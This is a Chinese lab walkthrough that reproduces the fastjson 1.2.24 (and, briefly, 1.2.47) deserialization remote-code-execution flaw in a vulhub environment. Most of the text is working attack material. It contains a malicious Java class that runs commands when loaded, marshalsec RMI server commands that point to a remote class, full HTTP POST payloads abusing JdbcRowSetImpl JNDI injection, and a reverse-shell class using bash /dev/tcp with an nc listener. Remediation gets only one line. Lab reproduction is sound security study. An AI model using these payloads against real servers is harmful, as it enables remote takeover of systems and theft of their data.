简介
漏洞环境:不另作说明均为vulhub
fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。即fastjson的主要功能就是将Java Bean序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。
关于漏洞原理,这篇文章讲的挺好的:https://zhuanlan.zhihu.com/p/157211675?from_voters_page=true,复现时参考的文章也很不错。
1.2.24-rce
参考链接:
https://blog.csdn.net/qq_44159028/article/details/112393935
https://github.com/vulhub/vulhub/blob/master/fastjson/1.2.24-rce/README.md
影响版本:
- fastjson <= 1.2.24
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。在Java 8u102环境下,没有com.sun.jndi.rmi.object.trustURLCodebase
的限制,可以使用com.sun.rowset.JdbcRowSetImpl
的利用链,借助JNDI注入来执行命令。
漏洞复现
使用vulhub开启环境,成功后会开启8090
端口,访问后结果如下说明搭建成功。
在Linux系统下通过如下命令,发送一个JSON对象,更新服务端的信息。
curl http://139.198.172.202:8090/ -H "Content-Type: application/json" --data '{"name":"xzc", "age":23}'
不要使用Windows系统下自带的curl命令,因为会报错,我记得之前也遇到过。
将下面代码内容(恶意类)保存为TouchFile.java
文件(名字不能乱改)。
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
编译生成.class
文件。
javac TouchFile.java
将生成的.class
文件放置到云主机中,使用python3 -m http.server 9999
命令,启动一个http服务。
然后需要借助marshalsec
项目,启动一个RMI服务器,用来指定加载远程类。
项目地址:https://github.com/mbechler/marshalsec
最终我们要是用的是其生成的marshalsec-0.0.3-SNAPSHOT-all.jar
,自己生成略微麻烦,网上有现成的:https://github.com/zhzyker/exphub/blob/master/fastjson/marshalsec-0.0.3-SNAPSHOT-all.jar
接下来在云主机上使用marshalsec-0.0.3-SNAPSHOT-all.jar
来起一个RMI服务,监听6666
端口。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://139.198.172.202:9999/#TouchFile" 6666
访问靶机地址,拦截抓包,将GET请求改为POST请求,提交攻击payload。
POST / HTTP/1.1
Host: 139.198.172.202:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ECS[visit_times]=4; pma_lang=zh_CN; pma_collation_connection=utf8_unicode_ci; pma_iv-1=oGblD1Xgl1ZFrVI58W88SA%3D%3D; pmaUser-1=XlLtmUCDz5gzl%2FNz%2Fe7h1w%3D%3D
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 165
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://139.198.172.202:6666/TouchFile",
"autoCommit":true
}
}
点击发送,服务器响应如下:
通过docker ps
命令查看启动的容器id,通过docker exec -it 容器id /bin/bash
进入容器。到/tmp
目录下查看success
文件是否被创建。
http
服务以及RMI
服务的请求内容如下:
其中,如果你的云主机的java版本较高,启动的RMI服务会有warning
情况(可能会导致实验不成功),我的云主机java版本为jdk1.8.0_291
。
反弹shell:
- 生成恶意类
// javac shell.java
import java.lang.Runtime;
import java.lang.Process;
public class shell {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/139.198.172.202/7777 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
通过javac
命令进行编译,生成shell.class
。
-
将生成的
shell.class
文件放置在http
服务目录下,端口9999
。 -
启用RMI服务。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://139.198.172.202:9999/#shell" 6666
#
后面内容需要修改。 -
云主机监听
7777
端口,nc -lvp 7777
。 -
发送请求包内容:
POST / HTTP/1.1 Host: 139.198.172.202:8090 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: ECS[visit_times]=4; pma_lang=zh_CN; pma_collation_connection=utf8_unicode_ci; pma_iv-1=oGblD1Xgl1ZFrVI58W88SA%3D%3D; pmaUser-1=XlLtmUCDz5gzl%2FNz%2Fe7h1w%3D%3D Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Content-Type: application/json Content-Length: 163 { "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://139.198.172.202:6666/shell", "autoCommit":true } }
-
云主机接收到反弹的shell:
漏洞修复
参考链接:
还有就是升级版本咯。
1.2.47-rce
参考链接:
https://blog.csdn.net/weixin_39190897/article/details/107284989
我看这个漏洞跟1.2.24-rce
漏洞的复现方法没啥区别啊,关于漏洞概述及修复方式参考上面链接。